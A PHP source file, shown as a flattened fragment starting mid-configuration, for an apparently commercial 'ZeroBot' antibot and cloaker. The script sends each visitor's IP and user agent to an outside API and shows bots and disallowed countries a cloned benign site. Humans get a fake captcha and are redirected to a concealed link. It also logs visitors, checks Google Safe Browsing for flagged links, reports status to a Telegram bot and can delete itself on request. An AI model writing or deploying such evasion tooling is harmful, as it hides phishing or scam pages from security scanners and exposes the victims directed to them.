"https://youtube.com", // Change the link you want to grap it in your link ]; $location_bots = "https://google.com"; // Send The Bots To This Link ( If Cloaker Url Empty ) $view_file_name = "views"; // Type PHP Extension Will Be Added Auto Per Example : views.php $token_chat = "TOKEN"; // Your Token To Receive Rapports $chatid = "CHAT ID"; // Your ChatID To Receive Rapports $captcha = True; // Allow ZeroBot Captcha $remove_visitors_duplicate = false; // Visitors Remove Duplicate ZEROBOT::PHP_VERSION_SET(); ZEROBOT::__DEFINED(); class ZEROBOT { public $api = "https://zerobot.info/api/v2/antibot"; // Don't Change The Antibot Server public $captcha_api = "https://zerobot.info/api/v2/captcha"; // Don't Change The Antibot Server Captcha public $api_geo = "https://zerobot.info/api/v2/getinfo"; // Don't Change The Antibot Server GeoLocation public $telegram = "https://api.telegram.org/bot"; // Telegam Api public $extension_type = ".php"; public $google_api = "https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site="; // Google API To Check Down Links public $token; public $chatid; public $keys; public $message; public $vu_filename; public $ip; public $license_key; public $data_show = 'ZeroBot Statistique
ZeroBot
'; public $country_code; public $country_name; public $isp; public $hostname; public $useragent; public $redirect; public $rm_db; public function __construct( $redirect, $parameter, $authentification, $token, $chatid, $vu_filename, $remove_visitors_duplicate ) { global $captcha, $license_key, $redirect; $this->token = $token; $this->chatid = $chatid; $this->vu_filename = $vu_filename . $this->extension_type; $this->license_key = $license_key; $this->useragent = $_SERVER["HTTP_USER_AGENT"]; $this->rm_db = $remove_visitors_duplicate; $this->data_show = str_replace( "BASENAME", basename(__FILE__), $this->data_show ); if ( empty($license_key) || empty($redirect) || strlen($license_key) != 32 ) { echo ""; exit(); } if (!empty($redirect)) { if (empty($parameter) or !is_numeric($parameter)) { $parameter = 1; } $this->redirect = $redirect; $this->_ACCESS(); $this->_ADD_EXT_LINK($authentification, $license_key); $this->_IP_ADDRESS_FINDER(); $this->_GEOLOCATION($license_key); $this->_GOOGLE_FLAG(); $this->_CHECK_LINK($license_key); $this->captcha_redirection(); switch ($parameter) { case "1": if ($this->_COUNTRY_ALLOWED() == true) { if ($this->_ZEROBOT_MANAGER($captcha) == true) { if ($captcha) { $this->captcha_resolve(); } else { header("location:" . $this->redirect); exit(); } } } break; case "2": if ($this->_ZEROBOT_MANAGER($captcha) == true) { if ($captcha) { $this->captcha_resolve(); } else { header("location:" . $this->redirect); exit(); } } break; case "3": if ($this->_COUNTRY_ALLOWED() == true) { $this->write_vues("Human"); if ($captcha) { $this->captcha_resolve(); } else { header("location:" . $this->redirect); exit(); } } break; default: $this->write_vues("Allowed"); if ($captcha) { $this->captcha_resolve(); } else { header("location:" . $this->redirect); exit(); } break; } } else { echo "Link Empty"; } } public static function PHP_VERSION_SET() { if ((int) phpversion()[0] < 5) { echo "PHP Version Required 5+"; exit(); } } public function _ACCESS() { if (isset($_GET["del"])) { unlink(basename(__FILE__)); echo "✅ Antibot File Deleted : " . basename(__FILE__); exit(); } if (isset($_GET["check"])) { print "AccessID923487"; exit(); } if (isset($_GET["delete"])) { $file_handle = fopen($this->vu_filename, "w"); $f = fopen($this->vu_filename, "a"); fwrite($f, $this->data_show); fclose($f); header("location:" . $this->vu_filename); exit(); } } public static function __DEFINED() { session_start(); error_reporting(0); ini_set("display_errors", 0); ini_set("display_startup_errors", 0); header("Content-type: text/html; charset=UTF-8"); define("key_id", "AccessID923487"); } private function _CURL_ACCESS($url, $post) { $this->keys = curl_init(); if (isset($post) && is_array($post)) { curl_setopt( $this->keys, CURLOPT_URL, $url . "?" . http_build_query($post) ); } else { curl_setopt($this->keys, CURLOPT_URL, $url); } curl_setopt($this->keys, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($this->keys, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($this->keys, CURLOPT_FOLLOWLOCATION, true); curl_setopt($this->keys, CURLOPT_FRESH_CONNECT, true); curl_setopt($this->keys, CURLOPT_AUTOREFERER, true); curl_setopt($this->keys, CURLOPT_TIMEOUT, 20); curl_setopt( $this->keys, CURLOPT_HEADER, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" ); curl_setopt($this->keys, CURLOPT_RETURNTRANSFER, true); $return = curl_exec($this->keys); if (empty($return)) { @file_get_contents($url); } else { return $return; } } public function _COUNTRY_ALLOWED() { global $_COUNTRY_ALLOWED; $country_name = strtolower($this->country_code); if (in_array($country_name, $_COUNTRY_ALLOWED)) { return 1; } else { $this->write_vues("Country Denied"); $this->_BOT_REDIRECTION(); return 0; } } public function _LICENSE_VERIFICATION($data_json_decoded) { if ( isset($data_json_decoded["query"]) && $data_json_decoded["query"] == "failed" ) { echo ""; exit(); } } private function _GEOLOCATION($license_key) { $post_app = ["license" => $license_key, "ip" => $this->ip]; $data_geo = $this->_CURL_ACCESS($this->api_geo, $post_app); $data_json_decoded = @json_decode($data_geo, true); $this->_LICENSE_VERIFICATION($data_json_decoded); $this->country_code = $data_json_decoded["country_code"]; $this->country_name = $data_json_decoded["country"]; $this->isp = $data_json_decoded["isp"]; $this->hostname = $data_json_decoded["hostname"]; } public function apply_cloaker($url) { global $location_bots, $html; $url = rtrim($url, '/') . '/'; $html = $this->_CURL_ACCESS($url, null); if ($html === false) { header("Location: " . $location_bots); exit(); } $doc = new DOMDocument(); libxml_use_internal_errors(true); $doc->loadHTML($html); libxml_clear_errors(); $xpath = new DOMXPath($doc); $key_app = array( "//link[@rel='stylesheet']" => "href", "//script[contains(@src, '.js')]" => "src", "//img" => "src", "//a" => "href", "//link[@rel='icon']" => "href" ); foreach ($key_app as $xpathQuery => $attribute) { foreach ($xpath->query($xpathQuery) as $element) { if ($element->hasAttribute($attribute)) { $oldSourceLink = $element->getAttribute($attribute); if (substr($oldSourceLink, 0, 4) != 'http') { if (substr($oldSourceLink, 0, 2) === '//') { $oldSourceLink = ($url[4] === 's' ? 'https:' : 'http:') . $oldSourceLink; } else { $oldSourceLink = ltrim($oldSourceLink, './'); $oldSourceLink = $url . $oldSourceLink; } $element->setAttribute($attribute, $oldSourceLink); } } } } $html = $doc->saveHTML(); echo $html; exit(); } public function write_vues($check) { if (!file_exists($this->vu_filename)) { $f = fopen($this->vu_filename, "a"); } switch ($check) { case "Human": $color = "#00a300"; break; case "Bot": $color = "#FF0000"; break; case "Country Denied": $color = "#DAA520"; break; case "Allowed": $color = "black"; break; } $this->_HTML_VIEWS(); $time = date("d/m/Y h:i:s A"); $this->_USER_OS(); $ip_address = $this->ip; $machine = $this->useragent; $country = $this->country_name; $isp = $this->isp; $hostname = $this->hostname; if (empty($hostname)) { $hostname = $this->ip; } $data_to_put = ""; if ($this->rm_db) { $this->_ONE_IP($ip_address, $data_to_put); } else { $file = fopen($this->vu_filename, "a"); fwrite($file, (string) $data_to_put . "\n"); fclose($file); } } public function _ONE_IP($ip_address, $data_to_put) { if ( is_readable($this->vu_filename) && !preg_match("/$ip_address/", file_get_contents($this->vu_filename)) ) { $file = fopen($this->vu_filename, "a"); fwrite($file, (string) $data_to_put . "\n"); fclose($file); } } public function _CHECK_LINK($license_key) { global $redirection_link_check; if (preg_match("/key/", $this->redirect)) { $redirect = str_replace( "?key=" . $license_key, "", $this->redirect ); } else { $redirect = $this->redirect; } if ($redirection_link_check == true) { $data_check = $this->_CURL_ACCESS($redirect . "?check", null); if (!preg_match("/" . key_id . "/", $data_check)) { $this->rapport_template(0, $redirect); } } } public function captcha_redirection() { if (isset($_GET["authorize"])) { $array_post = [ "license" => $this->license_key, "ip" => $this->ip, "useragent" => $this->useragent, ]; $this->_CURL_ACCESS($this->captcha_api, $array_post); header("location:" . $this->redirect); exit(); } } private function full_link_get() { if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") { $link = "https"; } else { $link = "http"; } $link .= "://"; $link .= $_SERVER["HTTP_HOST"]; $link .= $_SERVER["PHP_SELF"]; return $link; } public function captcha_resolve() { global $captcha; if ($captcha) { if (isset($_SESSION["color"]) && isset($_SESSION["logo"])) { echo 'Captcha Verification

Verify you are human

'; } else { echo 'Captcha Verification

Verify you are human

'; } } } private function rapport_template($action, $link) { global $redirection_link_check; $date = date("r", $_SERVER["REQUEST_TIME"]); if ($action) { $this->message = "❗️ Status : Down\n"; $this->message .= "Link Redirect : " . $this->full_link_get() . "\n"; $this->message .= "Link Server : " . $link . "\n"; $this->message .= "Link Downed Is : " . $link . "\n"; $this->message .= "Date : " . $date . "\n"; $this->_TM_RAPPORT($this->message); } if ($redirection_link_check == 1 and !$action) { $this->message = "❗️ Status : You need to re-upload it now\n"; $this->message .= "Link Redirect : " . $this->full_link_get() . "\n"; $this->message .= "Link Server : " . $link . "\n"; $this->message .= "Date : " . $date . "\n"; $this->_TM_RAPPORT($this->message); } } private function _HTML_VIEWS() { if (empty($this->vu_filename)) { $this->vu_filename = "access" . $this->extension_type; } if (file_exists($this->vu_filename)) { if (filesize($this->vu_filename) < 20) { $f = fopen($this->vu_filename, "w+"); fwrite($f, $this->data_show); fclose($f); } } else { $f = fopen($this->vu_filename, "a"); fwrite($f, $this->data_show); fclose($f); } } private function _IP_ADDRESS_FINDER() { foreach ( [ "HTTP_CLIENT_IP", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED", "HTTP_X_CLUSTER_CLIENT_IP", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED", "REMOTE_ADDR", ] as $key ) { if (array_key_exists($key, $_SERVER) === true) { foreach (explode(",", $_SERVER[$key]) as $ip_address) { $ip_address = trim($ip_address); if ( filter_var( $ip_address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) !== false ) { $this->ip = $ip_address; return; } else { $this->ip = "123.126.68.118"; return; } } } } } private function _TM_RAPPORT($message) { if ( !empty($message) and strlen($this->token) > 10 and strlen($this->chatid) > 5 ) { $url = $this->telegram . $this->token . "/sendMessage?chat_id=" . $this->chatid . "&text=" . urlencode($message); $this->_CURL_ACCESS($url, null); } } private function _USER_OS() { if (array_key_exists("HTTP_USER_AGENT", $_SERVER)) { $array_key = preg_match("/\((.*?)\)/", $this->useragent, $code); $this->useragent = htmlspecialchars($code[1]); } else { $this->useragent = "UNKNOWN"; } } public function _GOOGLE_FLAG() { global $check_red_page; if ($check_red_page) { $data_google = $this->_CURL_ACCESS( $this->google_api . $this->redirect, null ); $data_google2 = $this->_CURL_ACCESS( $this->google_api . $this->full_link_get(), null ); $ex = explode(",", $data_google); $ex2 = explode(",", $data_google2); if ($ex[1] == 2) { $this->rapport_template(1, $this->redirect); } elseif ($ex2[1] == 2) { $this->rapport_template(1, $this->full_link_get()); } } } public function _ZEROBOT_MANAGER($captcha) { global $license_key; if (isset($captcha)) { $array_post = [ "check_on" => $this->full_link_get(), "license" => $license_key, "ip" => $this->ip, "useragent" => $this->useragent, "captcha" => "", ]; } else { $array_post = [ "check_on" => $this->full_link_get(), "license" => $license_key, "ip" => $this->ip, "useragent" => $this->useragent, ]; } $data_decoded = json_decode( $this->_CURL_ACCESS($this->api, $array_post), true ); $this->_LICENSE_VERIFICATION($data_decoded); if (is_array($data_decoded)) { if (array_key_exists("query", $data_decoded)) { echo @json_encode($data_decoded); exit(); } elseif (array_key_exists("username", $data_decoded)) { $_SESSION["days_left"] = $data_decoded["left"]; $_SESSION["total_checked"] = $data_decoded["total"]; $_SESSION["plan"] = $data_decoded["plan"]; if ($data_decoded["is_bot"] == true) { $this->write_vues("Bot"); $this->_BOT_REDIRECTION(); return 0; } elseif ($data_decoded["is_bot"] == false) { $this->write_vues("Human"); if (array_key_exists("captcha", $data_decoded)) { $_SESSION["color"] = $data_decoded["captcha"]["color"]; $_SESSION["logo"] = $data_decoded["captcha"]["logo"]; } else { unset($_SESSION["color"]); unset($_SESSION["logo"]); } return 1; } } } } public function _ADD_EXT_LINK($authentification, $license_key) { if ($authentification) { $this->redirect .= "/?key=" . $license_key; } } public function _BOT_REDIRECTION() { global $location_bots, $cloaker; if (isset($location_bots) && isset($cloaker["url_to_grab"])) { if (filter_var($cloaker["url_to_grab"], FILTER_VALIDATE_URL)) { $this->apply_cloaker($cloaker["url_to_grab"]); } if (filter_var($location_bots, FILTER_VALIDATE_URL)) { header("location:" . $location_bots); exit(); } } } } new ZEROBOT( $redirect, $parameter, $authentification, $token_chat, $chatid, $view_file_name, $remove_visitors_duplicate );
IPTimeMachineISPHostnameCountryType
$ip_address$time$machine$isp$hostname$country

$check